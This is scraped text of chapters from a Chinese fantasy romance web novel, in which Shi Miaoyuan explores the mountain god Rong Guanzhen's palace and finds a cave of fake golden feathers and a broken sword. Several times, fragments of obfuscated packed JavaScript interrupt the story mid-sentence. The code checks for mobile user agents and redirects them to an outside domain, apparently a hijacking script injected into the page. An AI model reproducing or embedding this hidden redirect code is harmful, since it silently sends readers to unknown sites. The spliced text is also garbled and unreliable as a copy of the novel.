d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142657|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙原已然被喜悦冲昏了头脑,完全没察觉到荣观真的语气有什么不对。他傻乎乎地乐道:“喜欢!可太喜欢了!哎,嘿嘿,谢谢荣老爷啊!荣老爷对我真好!我都没想到您会给我买呢!” “你真的没想过吗?” “哎?” 荣观真皮笑肉不笑地问:“我怎么觉得你刚才是专门演给我看的呢?” 时妙原当场噎住了。 “我,那,那什么……” “是真没想过还是假没想过?” “真……真假作真时真亦假……” “不肯说真话是吧?嘿奇了怪了,我那拔舌头的钳子哪去了?” 时妙原顿了两秒。 他没有求饶,也没有讨好。稍作思考之后,他一个猛子扑进了荣观真怀里。 “不是?你干什么!!!” 荣观真正找凶器呢,没料到他突然来这招,惊慌失措地挣扎了起来。 “谢谢荣老爷!”时妙原埋头大喊道,“荣老爷真喜欢我啊!荣老爷对我真好!荣老爷给我买礼物,我想要啥你就给我啥嘞!” “我给你你拿着就是了你喊那么大声干什么!你突然犯什么病呢你这是……你放开我!” “我不放!我就要喊,我就要让全天下人都听见!荣老爷喜欢我,我也喜欢荣老爷,您是我这辈子最喜欢的人!我可太喜欢荣老爷啦!” “谁要你喜欢?撒手!!!” “你真好!我要天天和你在一起!我要给你当一辈子的跟班,我就算做鬼也会一直缠着你的!荣老爷,来,来,快来跟人家亲两口嘛——!” “你——你给我——放开!” 荣观真用尽全身力气(虽然并非用尽)推开时妙原,惊恐地和他拉开了距离。 “好了!我,我不拔你舌头了!我不动你了总行了吧?!我那什么我吓唬你的!你赶紧给我站一边去!你不许再靠近我了!” 时妙原干脆利落地退后两步,笔直立正,冲荣观真敬了个礼。当然,荣观真看不见。 很显然,刚才那一下给山神大人带来了不小的震撼。荣观真依旧维持着张开双臂的动作,他怀中空空如也,衣服却乱得要命,这让他整个人看起来既滑稽、又无助,也十分可怜。 呵呵,跟我斗? 时妙原看他这样,内心不由得狂笑不已。 喜欢装蒜是吧? 喜欢威胁是吧? 喜欢阴阳怪气,喜欢夹枪带棒,喜欢不好好说话,喜欢用鼻孔看人,喜欢当众不给人台阶下是吧? 这死小孩。明明是神,却非喜欢当鬼,明明脸皮薄得不行,还非得不自量力学别人当冷面霸总!就荣观真这点招数,早八百年前就让时妙原拿捏得透透的了。足足两万岁的年龄差让他在曾经和荣观真的较量中几乎占尽了上风。和比自己小的人处对象就这点好处:你甭管他在外面有多风光,回到家都得红着脸喊你一声哥。 扯远了。 总之,如果说真诚是永远的必杀技的话,那荣观真现在应该已经被时妙原踹过了奈何桥。他崩溃地捂住了脸,缓了好久才说:“……以后不准再这样了。” “是,陛下。” “大清灭亡没通知你吗?也不许这么喊我!” “好哦亲爱的。” “滚!”荣观真气急败坏地跳了起来,“滚滚滚!你赶紧给我滚出去,别让我在这儿再看见你! 时妙原两眼放光:“那您这是要放我回家啦?” “放个屁!我让你赶紧出去,再待下去我指不定还要再被你骗多少钱!” “哦!” 他们吵吵嚷嚷地离开了。 男店员左看右看,没找着钱哪来的,却发现柜台里少了根手串。 他惊呼道:“不得了,咱遭了贼了!” “真的?让我看看丢了什么。” 女店员凑上前去,她一看到商品标签就立马笑了出来:“哎哟,那恐怕是荣老爷拿了。” “啊?荣老爷?” 她把收银机往外一拉:““你忘啦?他刚不是给了一千块钱吗?” “哎哎哎,这是……这是荣老爷来买东西啦?” “可不呢!你刚来的可能不知道,他之前就总是这样。”女店员笑眯眯地说,“他啊最喜欢亮闪闪的东西,只要见到合眼缘的就会拿回去玩。金子,宝石,玛瑙,亮片……我们都说,只要是会发光的,甭管是太阳还是月亮,就算是电灯泡,也都是很符合他心意的呢。” 16. 寻香觅羽(一) 空相山间,蕴轮谷旁,香界峰顶。 峰顶有一处断崖,其名为觅魔崖。觅魔崖绝险绝峭,除少数能爬到这里的游客外,就只有一棵老菩提树孤兀地屹立在边端。 当地人说,这里是空相山神的悟道处。只要在树下诚心悔过,他便会来消解众生的罪孽。只是这世上大多数人都不愿承认自己的过错,而且人们不知道的是,这儿其实便是山神本尊的居所。 荣观真牵着白马,时妙原跟在他身后,这两人一马用了约三个小时,才终于来到了觅魔崖边。 菩提树上挂满了许愿丝带,山风忽急忽徐,吹得满树红绸飘扬若雨。 “就是这儿吗?”时妙原明知故问道。 荣观真并未直接作答。他微微阖上眼睛,将右手按到了树干上。 “开门吧。”他轻声道,“是我。” 一颗菩提果应声而落,它坠下的轨迹,在空中划出了一道微微泛光的裂隙。 荣观真迈步走进隙中,时妙原紧随其后。黑暗仅持续了一瞬,很快,他就听见了一阵灵动至极的鸟鸣声。 他们来到了一处山林中。 时妙原极目远眺,只见上山的阶梯曲折蜿蜒,道路两旁长满了茂盛的树丛。青石板上苔痕斑驳,这儿似乎已有多年未曾迎来访客。沿山路上行数百余米,一栋古朴低调的木质结构民居出现在了他们面前。 此居依山峰地势而建,最高处依稀是一处半露天的亭台,被漆成朱红的院门两旁分立有两尊小巧的石狮,稍仰起头看看,小院的匾额上书有四个清隽的大字:寻香觅界。 “我们到了。”荣观真说。 他松开缰绳,由白马走入了密林。 门扉无风自开,两人踏入其间,满院繁盛的植物朝他们微微低伏下了头颅。 这便是香界宫。 香界宫内也有棵菩提树,与觅魔崖上那株相比,这棵树上的果实还要更饱满许多。见到荣观真回来,一颗最圆最润的菩提果迫不及待地掉落下来,它稳稳砸到地上,直接变成了一个白白胖胖、会动会跳的迷你小人。 “家里养的,平时能给我打打下手。”荣观真弯下腰来,那小东西乐得直接爬到了他的胳膊上。他逗它玩儿了一会,然后对时妙原说:“给你安排了房间,它会带你过去。” “哟,我原来还有房间呀?”时妙原搓着手说,“我还以为我真要住笼子里了呢。” “你要是有这个癖好,我也不是不能满足。” “那不能有的。” 菩提果跳出荣观真的手心,一颠一颠地引他们走向了香界宫深处。途径过一棵杏树下时,一簇小小的枝叶轻轻刮了刮时妙原的脸颊。 “哎?” 他微微一愣。 这棵树,似乎是…… 时妙原没能回忆下去,他很快就将杏树远远地甩到了身后。香界宫的地势复杂至极,他跟着荣观真和菩提果七绕八绕,先是经过了三座小桥,又是绕过了两片浅湖,紧接着他们踏进了四五片开得极为壮丽的山茶花苗圃,到最后他甚至还在紫藤花瀑布里打了几滚,才终于来到一栋不起眼的三层小木楼前。 菩提果蹦蹦跶跶地跑了过去。它跳上二楼,又拐了好几道弯,停在了一间早已打开的小屋前。 时妙原走上前去一看:这是间其貌不扬的卧房。面积不大,床铺桌椅沙发与书柜倒是一应俱全。窗外便是山景,桌上还摆了株香水百合,看起来雅致得很。 “就是这儿吗?”他探头探脑地问。 荣观真点了点头:“嗯,你先在这住下。饭等下有人来送,你想干什么都行。想洗澡,想睡觉,想看书写字画画,都无所谓。” “那你呢?” “我?我累了,我要回去睡觉。有事找菩提果,它们随叫随到。” 荣观真说着就要离开,时妙原赶忙喊住了他:“那什么……我能问你一个问题吗!” “你说。” “那啥,我其实想知道,你为什么要把我带到这来呢?”时妙原吞吞吐吐地问,“就是,你家虽然很大,很奢华,很舒服很好看,一看就很适合居住!但你我……素不相识,最多也不过是有过两面之缘。你为什么会放心带我回家啊?你就不怕我给你搞搞破坏啥的吗!” “我闲得无聊,可以吗?”荣观真转身走出了房间,“等我不无聊了,我就会放你走了。” 咔哒。门被轻轻带上了。 等到荣观真的脚步声逐渐消失不见了,时妙原才稍稍回过了神来。 “我靠,这小子现在是越来越胡闹了。”他自言自语道,“也是啥人都开始往家带了哈。” 一阵疲惫涌上心头,他懒得再细想荣观真的动机,干脆直接呈大字状躺到了床上。 他的身体虽然放松了,但脑子里的想法还是一个接着一个地往外蹦。时妙原闭上眼睛,他努力沉下心来,试图从那些乱七八糟的声音中理出些许头绪。 他得想想接下来要怎么办。 首先,他一时半会肯定是逃不出去了。香界宫超脱尘世之外,这里的一草一木都在荣观真的监视之下,没有他的首肯,他根本就不可能离开半步。 但就算如此,他还是得想办法找到金羽。一根也行,两根最好,至少,不要让他在荣观真面前完全毫无反抗手段。在这住着虽然整天胆战心惊,但看荣观真刚才的样子,他应该也不至于真的把他怎么样。 对,先在香界宫住下……但然后呢? 然后,然后…… 哦,对了! 然后,他要知道荣观真到底出了什么事。 要说刚复活的时候,时妙原脑子里就只有“远离荣观真”这一个想法的话,现在的他对荣观真的好奇则已然完全压过了恐惧。 荣观真的眼睛坏了,他的性格和说话方式也变得有点奇怪。虽然时妙原知道这恐怕和自己脱不了关系,但这并不能解释为什么白马也惨得像是被虐待了三天三夜一样。而且先不论那两个小护法到底是从哪里冒出来的……比起居星和亭云,另一个缩小版的“荣观真”还是要令时妙原更在意许多。 纵观全场,这九年间唯一没有发生太大变化的恐怕就只有香界宫了。可他刚才进来的时候,也明显能感觉到这里已经荒废了很久。空气中到处都是陈旧的味道,搞得时妙原的鼻子一直痒得不行。 总之,综合看来,按兵不动、静观其变应该是他目前能做的最好的打算。至少香界宫住宿条件豪华,荣观真既没认出他是谁,一时半会也应该不会找他麻烦——反正还是那句话,大不了就一死!时妙原虽然怕死,但他更讨厌带着一肚子问题稀里糊涂地活着。 “但是我真的要一直在这儿跟他耗下去吗?”他疲惫地捂住了脸,“心里总是不安稳啊……总感觉还有什么事儿没做……” “帮我劝劝他吧。” “谁?!” 时妙原猛地从床上弹了起来。 身边空无一人。 “是……是谁在说话?” 他把房间翻了个底朝天,却连半个人影子都没有找到。 “难道是我听错了?”他自言自语道。 哒哒哒哒哒。 脚下传来细碎的声响,时妙原低头一看,造出这动静的竟是方才带他来的那颗小菩提果。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142658|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这小家伙正努力往他鞋子上爬,发现时妙原在看之它后,它冲他摇摇晃晃地鞠了个躬。 “小东西,刚才是你在说话吗?” 时妙原刚弯下腰,那菩提果便迈着两条小短腿跑开了。 它没跑出几米,就站定在房门口,回头看了时妙原一眼。 “哟,几个意思?” 时妙原心下了然:这是在等他过去呢? 果然,一见时妙原走来,菩提果就又一溜烟似地跑到了走廊里。 它在前面跑,时妙原在后面跟,这到接近楼梯拐角处时菩提果突然消失了,时妙原追上去一看:那果子是不见了,取而代之的是另一个更特别的东西。 一个令他几乎尖叫出声的东西。 是荣观真。 小小的荣观真,约莫只有十四五岁的荣观真,正站在楼梯上,静地看着他。 “你劝劝他吧。”那孩子对他说,“再这样下去,他一定会死的。” “你是谁!” “荣观真”说完便走,时妙原拔腿就追。他才刚爬上半截楼梯,对方就已闪现到了十几米开外。时妙原越追,他就走得越快,他们之间永远保持着一段不近不远的距离,到最后时妙原几乎觉得自己都要跟丢他了,然后马上,眼前光线一暗,他发现自己竟不知不觉间追到了一个山洞边。 小荣观真头也不回地走了进去。 “我靠……这小王八蛋不会准备搁里头阴我呢吧?” 时妙原明知前方恐怕有诈,但还是硬着头皮追了上去。 洞中气温极低,他没走出几步,就感觉浑身起满了鸡皮疙瘩。 山体内部的光线并不算好,但奇怪的是,他虽没有携带任何火把或光源,但也完全能看得清周围的景象。 这是什么情况?洞里怎么会有自然光? 如果不是的话……那会是什么东西在帮他照明? 时妙原的心跳得很快。 自从进洞以后,他就再也没有看见那个“荣观真”了。 他越走越深,呼吸也随之变得越发急促。紧张感混合着兴奋不断冲刷着他的大脑,一部分他嚣叫着要继续往前,另一部分他却在不断高声喝止:快停下吧,你疯了吗!你从没来过这里,你就不怕荣观真发现你乱跑吗? 快出去,出去! 不要再继续下去了! 一滴汗正好落到时妙原嘴边,被他轻轻舔掉了。 几乎同时,他脚下一歪,感觉自己踩到了什么东西。 硬硬的,扁扁的,有些硌脚,体积不小。感觉……是某种金属。 而且,它好像还在发光。 时妙原低下头去,眼前的事物令他浑身血液倒流了半秒。 “……这是!!!” 他哆哆嗦嗦移开脚,从地上捡起了一枚耀眼的、灿烂的、不断散发着辉光的金片, 准确来说,是一枚金色的羽毛。 还没等他惊叫出声,半米开外又一片同样刺眼的金羽直接把他的心脏都吊到了嗓子眼。 紧接着是第三枚。 第四枚。 第五,第六,第七…… 金羽散落满地,以一种诡异的姿态不断向前方蔓延。时妙原捏着最开始捡到的那枚羽毛缓慢前行,直到他手心的汗打湿了金羽,直到他的去路被彻底堵死,直到眼前的光芒几乎令他无法睁眼……直到他终于止住脚步,他才意识到,从一开始就挥之不散的那抹光源,究竟是来源于何处的了。 他来到了山洞的尽头,眼前已无路可走。 眼前虽没有路,但却有满坑满谷,少说几万枚的金羽。 17. 寻香觅羽(二) “开玩笑的吧……” 最初的震惊过后,时妙原很快就平静了下来。虽然刚才那一眼确实吓得他差点心肺停止,但多观察了几秒钟他就意识到,这里面的金羽,没有一根是真东西。 他能感觉得出来,这些都是些毫无灵气的物件。至少,它们绝对不是从他身上薅下来的。 想也应该是这样,他浑身上下满打满算也就十根金羽,要这全都是他的,他屁股上的毛不都得被拔光了? 时妙原鬼鬼祟祟地凑上前去查看了起来。他发现,这些羽毛虽然乍看上去都像是一个模子里脱出来的,但彼此之间其实差异并不算小。它们有的由纯金打造,有的只不过是在外面镀了层金,还有些呢干脆就是塑料玩具,最夸张的是,他还在里面找到了几绺粒粒饱满的稻穗。 啥意思啊哥,搁这吃代餐呢?时妙原的眉头都快拧成了麻花。不仅如此,这里除金羽之外,还掺杂了许多各色各样的宝石。其中有玉髓,有欧泊,有钻石甚至还有帝王绿级别的翡翠。时妙原甚至还翻出了好几串十分眼熟的玛瑙——他抬起胳膊对照着一看,和荣观真刚给他买的一模一样。 “中饱私囊啊我靠……”他大受震撼,“这些不会都是他从法物流通处拿的吧?” 真相恐怕远不止于此,因为他还找到了大量一看就价值不菲的高端品牌首饰。这么多的黄金,这么贵的珠宝,这里随便什么东西拿出来都能够普通人挥霍上好几辈子,荣观真就这么大喇喇地放着,也不知道要找个人看守一下的吗? 而且,他收藏这么多“金羽”干嘛啊? 时妙原眉头紧锁。 难道说,荣观真也信了他在死前说的话? “谁能找到金羽,谁就能复活金乌。” “谁能够复活金乌,谁就将永登仙阶。” 一想到这话,时妙原就恨不得给自己两巴掌。 他当然没说谎,金羽自然是有能复活他的作用,可他当初会这么说并非真的指望有朝一日能掀开棺材板来重回人间——他只不过是因为闲得蛋疼,想整整那些每天喊打喊杀,恨不得把别人的地界都吞了的土地精怪而已。荣观真高居万岳之首,他既不需要永登仙阶,也不必用这种方式提振修为。那么,他又是为什么要弄这么多羽毛回家呢? 是兴趣使然? 还是别有所图? 是为了时刻警告自己不要再和他这种坏鸟混到一块? 还是…… 为了睹物思人? 是想睹物思人,还是单将他挫骨扬灰也不够,还恨不能斩断他最后的退路,所以才四处收集金羽,只为了彻底销毁,以永绝后患呢? 时妙原正胡思乱想着,冷不丁在金羽堆里注意到了个质地明显不一样的东西。 “嗯?” 他走过去一看,这是件石质的器物,它看着修长锋利,上面好像还雕了什么花纹。 “是玉吗?” 时妙原想也没想,伸手将那物件抽了出来。下一秒,他大叫一声,直接把它甩了出去! 当! 一柄断剑掉到了地上。 严格意义上来说,是一段连着半截铁剑的剑柄。它的其余部分还留在金羽堆里,余下的部分虽然残缺,但也可以看出曾经的设计美感:这剑的柄由黑玉打造而成,上雕流火祥云,下接扭转星纹,剑身似钢似玉,上面点缀有无数金珠,其呈花瓣状排列开来,将一颗残缺不全的宝珠紧紧簇拥在了中央。 火纹,金莲,宝珠,黑玉……这东西的形状,它锻造的样式,这周身挥之不去的炎气……这倒霉玩意儿,就算是被烧成了灰,时妙原也这辈子都不会忘了它的! 这不是三度厄吗! “晦气晦气晦气,我靠,太晦气了!!!” 时妙原尖叫着爬出好几米,抵着岩壁惊恐地喘起了粗气。 嘶。 他又闻到了心脏被烧焦的味道。 “这,这啥情况这是?”他无法自制地颤抖了起来,“这玩意儿为什么会在这里?它它它它怎么碎成了这样?这不对啊,这合理吗?他之前不是只拿这个杀过我和闻音吗!怎么……怎么又……” 三度厄总共只有三次使用机会,死在这把剑下的人,不论法力高低都必然形神俱灭。它的前一任受害者是时妙原,再往上,便是曾经的空相山神荣闻音了。 可现在它碎了。这就说明,三度厄的主人已经耗尽了它全部的寿命。 不是啊哥们——时妙原在心中呐喊了起来:不过九年时间,荣观真又和谁干上了这是?这种因果律级别的杀伤性武器,说让他用三次,他还真机不客气啊! 三度厄静静地躺在地上,时妙原在旁边抓耳挠腮想了半天,也想不通到底还有谁能让荣观真如此大动肝火。 “不管了……先看看再说!” 都说好奇心害死猫,依时妙原看鸟也没好到哪里去。他强压下内心的恐惧,再度跪到了三度厄边上。他不敢直接上手去拿,就只好撅着个腚趴在旁边打量这位老友。 不得不说,三度厄的确是把好剑。即便在此蒙尘,那剑身依旧明亮如镜。在金羽的映照下,它清晰地反射出了周遭可见的一切——它倒映出了金光璀璨的珠宝,黯淡沉默的穹顶,时妙原冷汗涔涔的面庞,还有他身后沉默不语的男孩。 “我靠!!!” 这是时妙原今晚第三次被吓出High C男高音了,他一把抄起三度厄,跟兔子见着鹰似的连滚带爬刨到了几米开外的地方。 “你到底是谁?你是什么时候来的!”他拿断剑指着对方质问道,“你你你,你是鬼吗你?!我真服了你们这些山了,下次上门之前能不能先打声招呼啊!” 那孩子冲他缓缓眨了眨眼。 “你劝劝他吧。”他说。 这么近的距离下,时妙原发现,这家伙确实和小不点时期的荣观真长得几乎没有任何区别。只是他的声音淡淡的,表情淡淡的,说起话来也淡淡的,这一点倒是和曾经的山神老爷……相去甚远。 时妙原握紧了三度厄的剑柄,他尽量镇定地问道:“你是谁?” “荣观真。” “你……你是荣观真,那外面那个大的又是谁?” “荣观真。” “他是你爹吗?”时妙原脑袋上一下蹦出了好几个问号,“就算你俩是父子,这这这,他这也不能给儿子起一样的名字吧?这不乱了辈分了吗草……不对,这不是重点!你一直说劝劝劝的,你能不能讲清楚点,你到底想我劝干啥啊?” 那男孩他的嘴唇动了两下。 他喃喃道:“我想求你劝他,不要再逼我了。” “他逼你什么了?” “杀他。” “什么?” 啪嗒。 下雨了? 一滴泪落到地上,时妙原震惊地发现,这小孩竟直接哭了。 他哭得一点声音都没有,那双褐色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142659|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大眼睛里盈满了泪水,就像一汪即将决堤的冰湖。 “我不想杀他。”他哽咽着说,“你能劝劝他,别再逼我动手了吗?” 时妙原感觉自己的脑袋嗡地炸了开来:“你这是什么意思?什么叫逼你杀……什么叫‘再’啊?” “我不想再受他摆布了!”那孩子突然大吼道。 他话音刚落,整座山洞就剧烈晃动了起来。碎石与尘埃扑簌簌落下,金羽们咔哒咔哒地在地上跳起了舞,时妙原连站都站不太稳,但他还是不管三七二十一,扑上前去把男孩护在了身下。 “你别着急!你好好告诉我,他到底对你做了什么!” “他逼我!!!”那男孩瞬间嚎啕大哭,“他逼我做我不愿意做的事情!他,他每天都在对我说一些好吓人的话,他要我做好准备,他要我随时准备好接替他,可是我怎么能接替他?我一点都不想当山神!我好难受,我好不开心,你劝劝他吧,你去劝劝他吧!我不想再看见他了!我真的真的真的好害怕啊!我就不应该出现在这里,明明还没有轮到我,为什么他要强行把我带过来啊!!” “不是,你能不能把话说清楚点啊!”时妙原听得简直是一头雾水,“你说他要你杀他,他是疯了吗,为什么要这么做啊!” “你说得对。” 男孩突然冷静了下来。 “什么?”时妙原愣住了。 “你说得对,他确实疯了。”男孩不断地小声重复道,“他疯了,你也是。你疯了,你们全都不正常。这地方就没一个正常人,我不应该来找你的,如果不是你,事情就不会变成这样!” 说完,他胳膊肘一拐,直接把时妙原顶得摔到了地上。 “靠……咳咳咳咳!你这小王八蛋……你别跑!你给我站住!” 男孩像兔子一样撒丫子跑了出去,时妙原强压下干呕冲动,也捂着肚子骂骂咧咧地追了上去。 “你站住!你给我停下!回来!你给我好好解释一下啊!你倒是说爽了,他爸的留老子在这一头雾水跟你玩猜灯谜语?!你倒是说说荣观真到底咋了,你说他疯了,你倒是找出点证据——” 时妙原止住了脚步。 怒吼声戛然而止,他没说完的半截话卡在喉咙里,怎么也讲不下去了。 那男孩已经跑远了,他应该继续追的,可是他却缓缓地开始了后退。 恐惧似蚂蚁,窸窸窣窣地爬上了他的神经。地震动已然停歇,山洞里突然安静得像是什么都没有发生过一样。 一步,两步,三步……他不断后退,他退到了尽头。他不慎踩到了三度厄冰冷的剑柄上,紧接着哗啦一声,他撞翻了一堆高耸的金羽。他的脚后跟好像还踢到了什么东西,那像是石头,但他无心关照。 时妙原开始止不住地颤抖。 他已无路可退。 “你在这做什么呢?” 火光逐渐浮现,荣观真举着一盏烛灯走到了他面前。 他光着脚,身上还穿着宽松的白色T恤和长裤。他可能是刚吹过头发,那些柔软的棕色发丝略显蓬松,这让他看起来就像是校园里最受喜爱的那类温柔学长一样。 ——忽略他脸上那张鲜艳欲滴的红纸的话。 “回答我啊。”荣观真问,“是谁带你到这来的?” 一阵阴风灌入洞中,恰到好处地将那红纸掀起了一个小角。时妙原发现,荣观真说这话时,视线正死死地锁定在自己身上。 18. 寻香觅羽(三) 时妙原刚想下跪求饶,荣观真眼疾手快地把他提溜了起来。 “别卖惨,给我站好!”他高声喝道,“老实交代,是谁带你来的?你刚才在嘴里叽叽咕咕的是在说什么呢!” “我,我那个……我是……”时妙原像只小鸡仔似地在荣观真手中发抖,“我,我是自己闲着无聊,没事干摸到这儿来的!” “你自己来的?”荣观真仿佛听到了什么天大的笑话,“你知道这儿离你住的地方有多远吗?你怎么不直接游到松花江去呢?” “哎哟……对不起嘛,对不起啊荣老爷,我不是故意的啦!” 时妙原心一横,干脆故技重施,直接扑进了荣观真怀里。 “是我不好!是我不该到处乱跑!荣老爷要骂就骂,要打就打吧!您怎么对我我都愿意受着,您要是想把我扔出去,我我我,我也不会半点怨言!” 说完,他就死猪不怕开水烫一般地闭上了眼睛。 来吧!不就是偷溜被抓包了吗?有本事就再给我一刀! “……” 荣观真轻轻摸了摸他的后背。 嗯?! 时妙原愕然睁眼,荣观真的面容虽被红纸遮蔽了大半,但从他微微上扬的嘴角来看,他现在不仅不生气,似乎还有些……开心? “不是故意的话,你就赶紧回去吧。”荣观真说,“这地方偏,等下天彻底黑了,你就找不到路了。” 不等时妙原回答,他便自顾自走向金羽堆,弯腰收拾起了地上散落的珠宝。 “你还不走吗?我先声明,我很忙,我是不会送你回去的。”荣观真头也不回地说。 “我……我那什么……” 时妙原就这么被晾在了一旁。他准备好的求饶撒娇耍泼卖萌手段全无用武之地,一时间竟觉得空虚得紧。他看着蹲在地上吭哧吭哧拾捡羽毛的荣观真,小心翼翼地问道:“那个……荣老爷啊,其实我有点好奇,您这些羽毛,都是干什么用的呢?” “这些?没什么特别的作用,只是个人收藏而已。” “啊?全都是你自己收集来的吗?” “也不全是。”荣观真举起了一枚有小臂长的金羽,“也有些是其他人看我喜欢,专门送过来给我的。” 说话期间,他把那羽毛来回转了好几圈,似乎是在观察上面有没有什么划痕。紧接着他回过头来,指着自己的脸对时妙原说:“顺带一提,我现在暂时能看见东西了。” “哎哎哎?真的假的!”时妙原差点儿跳了起来,“我从刚才就想问了,你的眼睛是为什么……” “我现在能看见,主要是它的功劳。”荣观真指着时妙原脚下一个灰扑扑的东西说。 时妙原低头一看,差点原地弹射起步蹦到山洞顶上。 那是一座十分不起眼的石雕。它看着最多就只有人手掌大,雕刻的技艺也十分粗糙,不过饶是如此,时妙原还是眼尖地辨认出了它的身份。 这是荣观真的雕像。 “只要有我的神像在场,我就能透过这张纸看清周围的事物。”荣观真点着自己脸上的红纸说,“这是因为这些神像在开光前都被蒙过眼。我想,这应该也算是一种共感吧。” 原来如此啊——时妙原恍然大悟:原来是这样!怪不得他总觉得荣观真的视力时好时坏,怪不得最初在藏仙洞的时候,他的动作看起来那么利索!原来是洞里那尊被废弃的雕像起了作用,原来,荣观真的眼睛并不是完全无药可救的吗? 时妙原本想问问他是怎么瞎的,但话到嘴边还是被咽了下去。荣观真既已不追究他今晚的造次,那他最好就还是不要再往枪口上撞了。 荣观真又去忙活金羽去了,时妙原在旁边尴尬地站了一会儿,他见荣观真无意再搭理他,清了清嗓子便准备离开。 “你要走了吗?”荣观真冷不丁问道。 “哦,对,对的……怎么啦荣老爷,您找我还有什么事么?” “你就没别的要对我说了吗?” 时妙原心中升起了一股不详的预感:“您指的是……” “关于你的身份。” 荣观真将几枚小羽毛塞进了更靠里些的地方,然后他回过头来,望着时妙原,一字一句地问道:“我想再问你一次,你真的不是时妙原吗?” 时妙原僵在了原地。 他强压下内心的尖叫,故作轻快地问:“我从老早前就想问了,那个时妙原是谁呀?是……您的朋友吗?” “是一个熟人。” “哦,哦,好像是听您提过他的名字。” “是吧。” “我和他长得很像吗?” 荣观真微微一顿。 “有一点吧……我觉得。”他迟疑地说,“但其实,我也不是很确定。” “为什么会不确定?”时妙原佯装镇定道,“你俩不是很熟吗?” “以前挺熟。” “那现在呢?” “现在他死了。”荣观真说,“他死了有一段时间了,我有点记不清他的样子了。” “原来如此。” “你是不是很好奇我为什么要带你回来?” “嗯,确实?” “说出来不怕你笑话,其实我也不知道我为什么会这么做。”荣观真耸了耸肩,“常栖迟,你平时会不会有这种感觉?就是,有时你觉得你还存在,但是某种决定你存在的东西却不见了。有时你觉得这一切也该是个头了吧,可是你不论怎么努力,都完全找不到离开这里的办法。” “这个……” “你确定你不是时妙原,对吧?” 当啷。一串清脆的响声将时妙原从恍惚中拉回了现实。 那枚颀长的金羽被扔到了地上,丢下它的是荣观真。就在几分钟前他还将它视若珍宝,现在却连看都不再看它一眼了。 山洞里太过安静,时妙原甚至能听清血液在鼓膜边冲刷的节拍。 “这个吧……哈哈。荣老爷,你这话说的,这是就是是,不是就是不是,哪还轮得到我自己确定啊?”他干巴巴地笑道。 “也是。” 啪啪两声,荣观真拍拍手,一阵轻快的脚步声由远及近传了过来。时妙原循声回头,来的不出所料,果然先前为他引路的那颗菩提果。 “跟着它回去吧,靠你自己走不知道要找到什么时候。” “哦……谢谢荣老爷!但你呢?你不回去吗?” “我?我就先不了。我刚才睡了一会儿,现在精神得要命。我在这儿再透透气,你自己随意吧。” 时妙原从荣观真的语气中听出了一丝明显的催促,他不敢再推脱,只好深鞠一躬,随着菩提果一步三回头地离开了。 快要出山洞的时候,他看到荣观真把三度厄捡了起来。 “呼。” 荣观真轻轻呼了口气。 这曾是一把好剑。 削铁如泥,真金火炼,宝珠熠然,流纹张扬。 就算已经断了,三度厄也依旧是如此耀眼夺目。 它在山神的祝福中诞生,那人当初把剑交给他的时候,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“荣老爷,你叫我?” “嗯,你过来。” “荣老爷!!你的眼睛怎么了!!!!” “过来扶我一下……” “我我我我来了,我来了!我来了你别急!我,我天哪你怎么了荣老爷!你这是又怎么了啊!你的伤……你之前的伤难道还没好全吗啊?!” “我没事,我就是有点头晕而已。” “这还能叫没事!你怎么不等投完胎了再叫我……居星!居星!关居星你人死哪去了!你快给我滚过来!” “怎么了怎么了!这大早上的……我靠!!!!!” “快过来搭把手!” “不是,怎么会突然变得这么严重啊?为什么又出血了,昨天不是还好好的吗?之前不是说已经没事了吗!这难道还能再复发的吗!这这这……亭云啊!我们该怎么办!我们快点把他送回去吧!” “不用你说我也知道!来!你左边我右边,我们一起扶着!” “哎哟!老爷您慢点!你放松,你放松些啊!” “居星,你能不能再去喊点人过来?随便来谁都好!只要是能救一救的……有没有人能想想办法,冷静冷静冷静……有没有人能来帮帮……唉呀!!!总之还是先想办法帮他把血止住再说吧!!!!” 19. 莫忘莫惘(一) 时妙原失眠了。 夏日雨夜,山间清凉,耳边既无蝉鸣恼人,也无暑气蒸腾。 被褥松软舒适,就连枕头的高度也恰到好处,在如此适合长眠的环境里,时妙原却硬生生睁眼熬到了快天亮。 窗外细雨淅沥,听得他心烦得紧。数羊数鸟数白马都对他起不了任何作用,万般无奈之下,他翻身坐到床边,穿上鞋走出了房间。 他没有拿伞。户外空气湿冷,他这次要去的不是藏金羽的山洞,而是与之完全相反的方向。 时妙原凭记忆走到了杏树下。 